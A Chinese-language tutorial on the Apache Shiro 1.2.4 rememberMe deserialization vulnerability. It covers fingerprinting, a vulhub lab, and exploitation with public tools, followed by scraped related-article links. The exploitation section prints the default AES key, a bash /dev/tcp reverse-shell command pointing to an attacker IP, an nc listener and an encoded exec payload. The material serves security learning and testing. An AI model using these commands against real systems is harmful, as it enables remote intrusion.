目录

一. 漏洞描述

二. 影响版本

三. shiro特征

四. 如何判断网站是否使用shiro

五. 漏洞环境搭建

六. 漏洞利用

shiro_exploit.py

jar工具

七. 记一次Shiro实战(目标不出网)


一. 漏洞描述

Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。

工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏 洞 原 理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题

在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码。而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

漏洞特征: shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

二. 影响版本

  • Apache Shiro <=1.2.4

三. shiro特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

四. 如何判断网站是否使用shiro

1. 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段

2. 如果以上么有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空

如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的

这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架

五. 漏洞环境搭建

使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境

访问8080,如下环境搭建成功

六. 漏洞利用

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

shiro_exploit.py

  • 脚本下载地址:https://github.com/insightglacier/Shiro_exploit
  • 基于python3,jdk1.8

1. 检测是否存在漏洞

首先去dnslog平台获取一个子域 -》DNSLog Platform

python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"

查看dnslog平台,如下,说明漏洞存在

2. 执行反弹shell

(1)加密反弹shell语句

这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1

进行加密

(2)vps开启监听

nc -lvp 6666

(3)执行反弹语句

python shiro_exploit.py -t 3 -u 目标ip -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcxxxxxxxuODguMTYyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

(4)接收反弹shell

jar工具

相较于上面的python脚本,图形化工具操作起来更加的简单

工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51

1. 输入测试的URL ,点击下一步

2. 选择检测方式

有时候ceye.io方式检测不出来说不存在反序列化漏洞,则选择dnslog方式测一下

3. 然后点击下一步

判断是否存在漏洞

程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。
当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。

可以输入命令说明存在漏洞,输入id

4. 反弹shell(目标可以出网的前提下)

vps开启监听,选择反弹shell

5. 成功反弹shell

七. 记一次Shiro实战(目标不出网)

传送门-》记一次Shiro实战(目标不出网)

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )相关推荐

  1. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    目录 1.Apache Shiro简介 2.漏洞原理 关键因素: 漏洞分析: 漏洞特征: 3.影响版本 4.漏洞复现 任意命令执行 GETSHELL 防御措施 1.Apache Shiro简介 Apa ...

  2. shiro反序列化工具_Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析

    Apache Shiro Apache Shiro是一个功能强大且灵活的开源安全框架,主要功能包括用户认证.授权.会话管理以及加密.在了解该漏洞之前,建议学习下Apache Shiro是怎么使用. d ...

  3. Shiro的Java原生反序列化漏洞

    参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...

  4. Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现

    Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 环境搭建 安装git 使用dockerfile 启动docker 获取dockerfile 查看是 ...

  5. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  6. 经典的Shiro反序列化漏洞分析

    更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...

  7. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  8. Apache Shiro<=1.2.4反序列化RCE漏洞

    版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...

  9. Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一.分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二. 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三.Gus系统 3.1. ...

  10. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

最新文章

  1. python 解析XML xml.dom
  2. hdu 6112 今夕何夕
  3. Jquery 提示插件
  4. xdebug怎样在php中配置,教你在PHPStorm中配置Xdebug
  5. Linux 命令之 echo -- 输出指定的字符串或者变量的值
  6. Android 实现指纹识别demo
  7. UIButton或UILabel加个下划线
  8. 玛塔留言板无刷新留言板程序
  9. Python设置常量不可修改的办法
  10. markdown备忘
  11. 大数据_Flink_数据处理_流式数据源测试---Flink工作笔记0010
  12. FastFel解析一个公式的步骤
  13. matlab中solver函数_Matlab中solve函数用法详解
  14. python可视化分析网易云音乐评论_网易云音乐评论 可视化分析
  15. Smartbi的使用
  16. 程序设计思维与实践 Week15 实验
  17. Apsara Clouder云计算专项技能认证:云服务器ECS入门[考试真题]
  18. maven报错:Failed to execute goal on project ...: Could not resolve dependencies for project ...
  19. 第十六章 二次根式 教案
  20. VB.net学习笔记(六)VB.net的对象

热门文章

  1. mac mini 开发android,Mac mini M1上成功启动Ubuntu
  2. win10读不到移动硬盘
  3. windows系统统不支持mysql_Windows系统下MySQL无法启动的万能解决方法
  4. bitbucket配置_用Bitbucket搭建博客初探
  5. 【渝粤教育】国家开放大学2018年春季 7389-21T劳动与社会保障法 参考试题
  6. 三菱Q系列PLC ,QD77MS16走总线控制伺服项目
  7. 江南鹤微信公众号文章采集器,开发完成了!以后再也不发愁采集微信公众号文章了!
  8. 中国象棋AI在线弈游戏源码
  9. 【精品推荐】130个令你眼前一亮的网站,总有一个你用得着(转)
  10. 应用华为大数据平台配置大数据项目①